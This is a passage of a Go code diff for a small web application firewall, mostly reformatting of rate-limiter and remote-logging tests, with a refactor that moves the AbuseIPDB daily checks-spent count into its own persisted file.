 func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
-		tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -151,9 +176,19 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
 
 	_, hit, over := limiter.Count(client, start, 50)
 
-	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
+	want := ratelimit.Hit{
+		Kind:   ratelimit.KindRequests,
+		Window: minute,
+		Limit:  2,
+		Count:  3,
+	}
 	if !over || hit != want {
-		t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
+		t.Errorf(
+			"the third request gives %+v and %t, want %+v and true",
+			hit,
+			over,
+			want,
+		)
 	}
 
 	// Half of the largest byte limit is still far above a TiB: working it
@@ -168,8 +203,10 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	t.Parallel()
 
 	// Only the hour has limits: the minute's and the day's are off.
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
-		tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -177,14 +214,24 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
 	// hour's limits, which are 0; the minute's, which are off, stay off.
 	_, hit, _ := limiter.Count(client, start, 0)
 
-	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
+	want := ratelimit.Hit{
+		Kind:   ratelimit.KindRequests,
+		Window: hour,
+		Limit:  0,
+		Count:  1,
+	}
 	if hit != want {
 		t.Errorf("the first request gives %+v, want %+v", hit, want)
 	}
 
 	_, hit, _ = limiter.CountBytes(client, start, 1, 0)
 
-	want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
+	want = ratelimit.Hit{
+		Kind:   ratelimit.KindBytes,
+		Window: hour,
+		Limit:  0,
+		Count:  1,
+	}
 	if hit != want {
 		t.Errorf("the first byte gives %+v, want %+v", hit, want)
 	}
@@ -215,13 +262,23 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 				t.Fatal("600 bytes are over the limit of 1000")
 			}
 
-			_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
+			_, hit, over := limiter.CountBytes(
+				client,
+				midnight(),
+				600,
+				whole,
+			)
 
 			want := ratelimit.Hit{
 				Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
 			}
 			if !over || hit != want {
-				t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
+				t.Errorf(
+					"1200 bytes give %+v and %t, want %+v and true",
+					hit,
+					over,
+					want,
+				)
 			}
 		})
 	}
@@ -230,8 +287,10 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
 func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
-		tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	other := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -301,7 +360,10 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 
 	for range limit {
 		if _, over := limiter.CountRefusal(client, start, limit); over {
-			t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
+			t.Fatalf(
+				"a refusal within the threshold of %d broke the error burst",
+				limit,
+			)
 		}
 	}
 
@@ -311,13 +373,21 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 		Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
 	}
 	if !over || hit != want {
-		t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
-			want)
+		t.Errorf(
+			"one over the threshold broke it: %t, with %+v; want %+v",
+			over,
+			hit,
+			want,
+		)
 	}
 
 	// Half a minute into the next, half of those four still count, 2, and
 	// this one: 3, within the threshold.
-	hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	hit, over = limiter.CountRefusal(
+		client,
+		start.Add(time.Minute+time.Minute/2),
+		limit,
+	)
 	if over || hit.Count != 3 {
 		t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
 			hit.Count, over)
@@ -326,7 +396,11 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
 	// A ban sets them back to zero.
 	limiter.Reset(client)
 
-	hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	hit, _ = limiter.CountRefusal(
+		client,
+		start.Add(time.Minute+time.Minute/2),
+		limit,
+	)
 	if hit.Count != 1 {
 		t.Errorf("after a reset, %v refusals, want 1", hit.Count)
 	}
@@ -347,7 +421,11 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 	// hour still covers three quarters of the bucket before, with its three
 	// requests, which count 2.25, and this one: 3.25. The day covers all
 	// four.
-	counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
+	counts, _, _ := limiter.Count(
+		client,
+		start.Add(time.Hour+time.Hour/4),
+		whole,
+	)
 
 	want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
 	if counts != want {
@@ -358,7 +436,10 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 func TestResetSetsTheCountsBackToZero(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: limit, PerDay: limit},
+		tableSize,
+	)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -399,8 +480,10 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 func TestRefusedRequestsCount(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
-		tableSize)
+	limiter := ratelimit.New(
+		ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+		tableSize,
+	)
 	refused := netip.MustParsePrefix("203.0.113.9/32")
 	within := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -501,7 +584,11 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	wantCount(t, limiter, clients[maxClients], now, "")
 
 	if limiter.Len() != maxClients {
-		t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
+		t.Errorf(
+			"the table holds %d clients, want %d",
+			limiter.Len(),
+			maxClients,
+		)
 	}
 
 	wantCount(t, limiter, clients[1], now, "")
@@ -516,7 +603,10 @@ func midnight() time.Time {
 // wantCount counts a request from client at now, and checks the window
 // whose limit it goes over, "" for none.
 func wantCount(
-	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
+	t *testing.T,
+	limiter *ratelimit.Limiter,
+	client netip.Prefix,
+	now time.Time,
 	want string,
 ) {
 	t.Helper()
@@ -531,8 +621,12 @@ func wantCount(
 // wantBytesCount counts bytes from client at now, and checks the kind of
 // the limit they break, "" for none.
 func wantBytesCount(
-	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
-	bytes int64, want string,
+	t *testing.T,
+	limiter *ratelimit.Limiter,
+	client netip.Prefix,
+	now time.Time,
+	bytes int64,
+	want string,
 ) {
 	t.Helper()
 

internal/ratelimit/snapshot_test.go

@@ -12,7 +12,12 @@ import (
 func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 	t.Parallel()
 
-	want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
+	want := []string{
+		"192.0.2.1/32",
+		"203.0.113.9/32",
+		"203.0.113.10/32",
+		"2001:db8::/64",
+	}
 
 	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	for _, i := range []int{2, 3, 0, 1} {
@@ -32,8 +37,12 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 
 	counted := ratelimit.Buckets{Start: midnight(), Current: 1}
 	if snapshot[0].Minute != counted || snapshot[0].Day != counted {
-		t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
-			counted)
+		t.Errorf(
+			"buckets %+v and %+v, want %+v",
+			snapshot[0].Minute,
+			snapshot[0].Day,
+			counted,
+		)
 	}
 }
 
@@ -86,10 +95,15 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 		t.Errorf("loaded two minutes on as %+v", got)
 	}
 
-	if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
+	if got.MinuteBytes != (ratelimit.Buckets{}) ||
+		got.HourBytes.Current != 5 ||
 		got.DayBytes.Current != 5 {
-		t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
-			got.MinuteBytes, got.HourBytes, got.DayBytes)
+		t.Errorf(
+			"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
+			got.MinuteBytes,
+			got.HourBytes,
+			got.DayBytes,
+		)
 	}
 
 	if got.MinuteRefusals != (ratelimit.Buckets{}) {
@@ -101,8 +115,13 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 	got = loaded(start.Add(2*time.Minute - time.Nanosecond))
 	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
 		got.MinuteRefusals.Current != 1 {
-		t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
-			"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
+		t.Errorf(
+			"loaded just under two minutes on with minute buckets %+v, %+v "+
+				"and %+v",
+			got.Minute,
+			got.MinuteBytes,
+			got.MinuteRefusals,
+		)
 	}
 }
 

internal/remotelog/remotelog.go

@@ -185,7 +185,11 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
 // and over TCP and TLS after its length in bytes and a space, the
 // octet-counted framing of RFC 6587 and RFC 5425.
 func (s *Sender) record(at string, line []byte) []byte {
-	record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
+	record := make(
+		[]byte,
+		0,
+		len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
+	)
 	record = append(record, s.beforeTime...)
 	record = append(record, at...)
 	record = append(record, s.afterTime...)
@@ -219,7 +223,10 @@ func (s *Sender) put(record []byte) {
 // send connects to the endpoint and sends each record as it comes into
 // the buffer, until ctx is done, and returns the connection then open, or
 // nil.
-func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
+func (s *Sender) send(
+	ctx context.Context,
+	processLog *slog.Logger,
+) net.Conn {
 	delay := firstRetryDelay
 
 	for {

internal/remotelog/remotelog_test.go

@@ -57,16 +57,27 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(
+			t.Context(),
+			"udp",
+			loopback,
+		)
 		if err != nil {
 			t.Fatalf("listen: %v", err)
 		}
 
 		t.Cleanup(func() { _ = endpoint.Close() })
 
-		sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
+		sender, _, _ := run(
+			t,
+			params(remotelog.SchemeUDP, endpoint.LocalAddr()),
+		)
 
-		_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
+		_, _ = sender.Write(
+			[]byte(
+				`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
+			),
+		)
 
 		synctest.Wait()
 		wantCounts(t, sender, 2, 0, 0)
@@ -108,7 +119,9 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
 	})
 }
 
-func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
+func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -174,7 +187,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
 		wantCounts(t, sender, 1, 0, 0)
 
 		conn := endpoint.next(t)
-		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
+		wantFrame(
+			t,
+			bufio.NewReader(conn),
+			record(t, local0Info, appName, "one"),
+		)
 
 		// The endpoint goes away: it closes the connection, and refuses the
 		// next ones. The sender notices when a record fails, and tries to
@@ -203,7 +220,11 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
 		wantCounts(t, sender, sent+1, 1, 0)
 
 		conn = endpoint.next(t)
-		wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
+		wantFrame(
+			t,
+			bufio.NewReader(conn),
+			record(t, local0Info, appName, "two"),
+		)
 		wantRetries(t, logged, "1s", "2s")
 	})
 }
@@ -213,12 +234,19 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
 
 	synctest.Test(t, func(t *testing.T) {
 		endpoint := listen(t)
-		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
+		sender, logged, _ := run(
+			t,
+			params(remotelog.SchemeTCP, endpoint.Addr()),
+		)
 
 		// The endpoint closes each connection as soon as it takes it. The
 		// sender notices when a record fails, and connects again a second
 		// later, then two seconds after that, then four.
-		delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
+		delays := []time.Duration{
+			time.Second,
+			2 * time.Second,
+			4 * time.Second,
+		}
 		for i, delay := range delays {
 			_ = accept(t, endpoint).Close()
 
@@ -230,12 +258,17 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
 	})
 }
 
-func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
+func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
 		endpoint := listen(t)
-		sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
+		sender, logged, _ := run(
+			t,
+			params(remotelog.SchemeTCP, endpoint.Addr()),
+		)
 
 		_ = accept(t, endpoint).Close()
 
@@ -271,14 +304,21 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
+		endpoint, err := (&net.ListenConfig{}).ListenPacket(
+			t.Context(),
+			"udp",
+			loopback,
+		)
 		if err != nil {
 			t.Fatalf("listen: %v", err)
 		}
 
 		t.Cleanup(func() { _ = endpoint.Close() })
 
-		sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
+		sender, logged, _ := run(
+			t,
+			params(remotelog.SchemeUDP, endpoint.LocalAddr()),
+		)
 
 		// With its header, the first line's record is longer than the 65507
 		// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
@@ -372,7 +412,10 @@ func params(scheme string, addr net.Addr) remotelog.Params {
 // run runs a Sender with settings until the test ends or the function
 // it returns is called, which waits for Run to return. It returns the
 // Sender, and what it logs.
-func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
+func run(
+	t *testing.T,
+	settings remotelog.Params,
+) (*remotelog.Sender, *output, func()) {
 	t.Helper()
 
 	sender := remotelog.New(settings)
@@ -399,7 +442,11 @@ func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, f
 func listen(t *testing.T) net.Listener {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
+	listener, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		loopback,
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -438,11 +485,17 @@ type tlsEndpoint struct {
 
 // startTLSEndpoint starts a tlsEndpoint with certificate, which takes
 // connections until it is told to refuse them.
-func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
+func startTLSEndpoint(
+	t *testing.T,
+	certificate tls.Certificate,
+) *tlsEndpoint {
 	t.Helper()
 
 	listener := listen(t)
-	endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
+	endpoint := &tlsEndpoint{
+		addr:  listener.Addr(),
+		conns: make(chan net.Conn, 10),
+	}
 	config := &tls.Config{
 		Certificates: []tls.Certificate{certificate},
 		MinVersion:   tls.VersionTLS12,
@@ -456,7 +509,8 @@ func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
 			}
 
 			server := tls.Server(conn, config)
-			if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
+			if endpoint.refusing.Load() ||
+				server.HandshakeContext(t.Context()) != nil {
 				_ = conn.Close()
 
 				continue
@@ -528,9 +582,17 @@ func wantCounts(
 ) {
 	t.Helper()
 
-	if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
-		t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
-			sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
+	if sender.Sent() != sent || sender.Dropped() != dropped ||
+		sender.Depth() != depth {
+		t.Fatalf(
+			"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
+			sender.Sent(),
+			sender.Dropped(),
+			sender.Depth(),
+			sent,
+			dropped,
+			depth,
+		)
 	}
 }
 
@@ -539,7 +601,11 @@ func wantCounts(
 // connection the endpoint has closed are lost before one fails; how many
 // depends on when the endpoint's host answers that the connection is
 // gone.
-func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
+func writeUntilDropped(
+	t *testing.T,
+	sender *remotelog.Sender,
+	dropped int64,
+) {
 	t.Helper()
 
 	for sender.Dropped() < dropped {
@@ -586,7 +652,8 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 		var fields map[string]any
 
 		err := json.Unmarshal([]byte(line), &fields)
-		if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
+		if err != nil ||
+			fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
 			t.Fatalf("logged %q", line)
 		}
 
@@ -595,7 +662,11 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
 	}
 
 	if !slices.Equal(got, delays) {
-		t.Errorf("logged failures to connect again in %v, want %v", got, delays)
+		t.Errorf(
+			"logged failures to connect again in %v, want %v",
+			got,
+			delays,
+		)
 	}
 }
 
@@ -618,8 +689,10 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 		IsCA:                  true,
 		BasicConstraintsValid: true,
 		KeyUsage:              x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
-		ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
-		IPAddresses:           []net.IP{net.IPv4(127, 0, 0, 1)},
+		ExtKeyUsage: []x509.ExtKeyUsage{
+			x509.ExtKeyUsageServerAuth,
+		},
+		IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
 	}
 
 	der, err := x509.CreateCertificate(rand.Reader, template, template,
@@ -636,5 +709,8 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
 	roots := x509.NewCertPool()
 	roots.AddCert(certificate)
 
-	return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
+	return tls.Certificate{
+		Certificate: [][]byte{der},
+		PrivateKey:  key,
+	}, roots
 }

internal/reputation/abuseipdb.go

@@ -14,6 +14,7 @@ import (
 	"sync"
 	"time"
 
+	"cloud.google.com/go/civil"
 	"github.com/hashicorp/golang-lru/v2/simplelru"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 )
@@ -27,8 +28,6 @@ const (
 	AbuseIPDBSource = "abuseipdb"
 	// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
 	maxAnswerBytes = 64 << 10
-	// day is the length of the day the checks are counted in, in UTC.
-	day = 24 * time.Hour
 )
 
 var (
@@ -37,22 +36,21 @@ var (
 		"checks spent; none is made until the day ends at 00:00 UTC")
 )
 
-// Score is what AbuseIPDB said about a client, as reputation.json holds
-// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
-// score, from 0 to 100, and when AbuseIPDB answered.
+// Score is what AbuseIPDB said about a client, as abuseipdb-scores.json
+// holds it: the client, an IPv4 address or an IPv6 group, its abuse
+// confidence score, from 0 to 100, and when AbuseIPDB answered.
 type Score struct {
 	Client  netip.Prefix `json:"client"`
 	Score   int64        `json:"score"`
 	Fetched time.Time    `json:"fetched"`
 }
 
-// Checks are what reputation.json keeps of the checks of clients with
-// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
-// first, and the scores still in use.
-type Checks struct {
-	Day    time.Time `json:"day,omitzero"`
-	Spent  int       `json:"spent"`
-	Scores []Score   `json:"scores"`
+// ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
+// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
+// zero before the first.
+type ChecksSpent struct {
+	Day   civil.Date
+	Spent int
 }
 
 // AbuseIPDBParams are what NewAbuseIPDB needs.
@@ -93,7 +91,7 @@ type AbuseIPDB struct {
 	// checking are the clients whose check is under way.
 	checking map[netip.Prefix]bool
 	// day is the day, in UTC, of the checks spent counts.
-	day   time.Time
+	day   civil.Date
 	spent int
 	// checks and failures count the checks made and those that failed,
 	// and retryAt is when a client may be checked again after the last
@@ -143,7 +141,7 @@ func (a *AbuseIPDB) Hit(
 		return kept.Score, kept.Score >= a.params.MinScore
 	}
 
-	if today := now.Truncate(day); !a.day.Equal(today) {
+	if today := civil.DateOf(now.UTC()); a.day != today {
 		a.day, a.spent = today, 0
 	}
 
@@ -190,42 +188,42 @@ func (a *AbuseIPDB) BudgetLeft() int {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 
-	if !a.day.Equal(a.params.Now().Truncate(day)) {
+	if a.day != civil.DateOf(a.params.Now().UTC()) {
 		return a.params.DailyBudget
 	}
 
 	return max(a.params.DailyBudget-a.spent, 0)
 }
 
-// Snapshot returns the checks spent and every score still in use, sorted
-// by client, as reputation.json keeps them.
-func (a *AbuseIPDB) Snapshot() Checks {
+// Snapshot returns every score still in use, sorted by client, as
+// abuseipdb-scores.json keeps them.
+func (a *AbuseIPDB) Snapshot() []Score {
 	a.mu.Lock()
 
 	now := a.params.Now()
-	checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
+	scores := make([]Score, 0, a.scores.Len())
 
 	for _, kept := range a.scores.Values() {
 		if now.Sub(kept.Fetched) < a.params.CacheTTL {
-			checks.Scores = append(checks.Scores, kept)
+			scores = append(scores, kept)
 		}
 	}
 
 	a.mu.Unlock()
 
-	slices.SortFunc(checks.Scores, func(x, y Score) int {
+	slices.SortFunc(scores, func(x, y Score) int {
 		return x.Client.Compare(y.Client)
 	})
 
-	return checks
+	return scores
 }
 
-// Load keeps checks, read from reputation.json, in place of those it
-// keeps, but for the scores past maxVerdicts, those fetched longest ago.
-// One fetched CacheTTL ago or more is neither used nor written, as for any
-// score.
-func (a *AbuseIPDB) Load(checks Checks) {
-	scores := slices.Clone(checks.Scores)
+// Load keeps scores, read from abuseipdb-scores.json, in place of those
+// it keeps, but for the scores past maxVerdicts, those fetched longest
+// ago. One fetched CacheTTL ago or more is neither used nor written, as
+// for any score.
+func (a *AbuseIPDB) Load(scores []Score) {
+	scores = slices.Clone(scores)
 	slices.SortStableFunc(scores, func(x, y Score) int {
 		return x.Fetched.Compare(y.Fetched)
 	})
@@ -233,7 +231,6 @@ func (a *AbuseIPDB) Load(checks Checks) {
 	a.mu.Lock()
 	defer a.mu.Unlock()
 
-	a.day, a.spent = checks.Day, checks.Spent
 	a.scores.Purge()
 
 	for _, kept := range scores {
@@ -241,11 +238,33 @@ func (a *AbuseIPDB) Load(checks Checks) {
 	}
 }
 
+// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
+// keeps them.
+func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	return ChecksSpent{Day: a.day, Spent: a.spent}
+}
+
+// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
+// place of the checks spent.
+func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	a.day, a.spent = checks.Day, checks.Spent
+}
+
 // check checks client with AbuseIPDB by addr, one of its addresses, keeps
 // the score as client's, and notes the check as no longer under way. A
 // check that fails gives no score: it is counted, logged and raised as a
 // source_failure alert, and no client is checked for failureDelay.
-func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
+func (a *AbuseIPDB) check(
+	ctx context.Context,
+	client netip.Prefix,
+	addr netip.Addr,
+) {
 	score, err := a.ask(ctx, addr)
 	now := a.params.Now()
 
@@ -254,7 +273,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
 	delete(a.checking, client)
 
 	if err == nil {
-		a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
+		a.scores.Add(
+			client,
+			Score{Client: client, Score: score, Fetched: now},
+		)
 	} else {
 		a.failures++
 		a.retryAt = now.Add(failureDelay)
@@ -270,7 +292,10 @@ func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.A
 // ask asks AbuseIPDB for addr's abuse confidence score, sending the key
 // in the header Key. An answer other than 200, one that gives no score,
 // and none within Timeout, fail.
-func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
+func (a *AbuseIPDB) ask(
+	ctx context.Context,
+	addr netip.Addr,
+) (int64, error) {
 	ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
 	defer cancel()
 
@@ -306,7 +331,8 @@ func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
 		} `json:"data"`
 	}
 
-	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
+	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).
+		Decode(&answer)
 	if err != nil {
 		return 0, fmt.Errorf("read the answer: %w", err)
 	}
@@ -324,5 +350,11 @@ func (a *AbuseIPDB) alert(reason string, err error) {
 	// Raised before it is logged, so that the alert is there once the log
 	// line is.
 	raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
-	a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
+	a.params.ProcessLog.Warn(
+		reason,
+		"source",
+		AbuseIPDBSource,
+		"error",
+		err.Error(),
+	)
 }

internal/reputation/abuseipdb_test.go

@@ -17,6 +17,7 @@ import (
 	"testing/synctest"
 	"time"
 
+	"cloud.google.com/go/civil"
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -40,7 +41,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{suspect: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		// A client that has committed no offence is not checked.
@@ -59,7 +62,9 @@ func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
 	})
 }
 
-func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
+func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -67,10 +72,15 @@ func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.
 		// it of its own.
 		var addresses []string
 		for i := 1; i < 16; i++ {
-			addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
+			addresses = append(
+				addresses,
+				fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
+			)
 		}
 
-		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
+		abuseIPDB := &abuseIPDBStandIn{
+			scores: map[string]int64{addresses[0]: 100},
+		}
 		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
 
 		// A request from each has the client checked once, by the first.
@@ -95,7 +105,11 @@ func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
-		scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
+		scores := map[string]int64{
+			"192.0.2.74":  74,
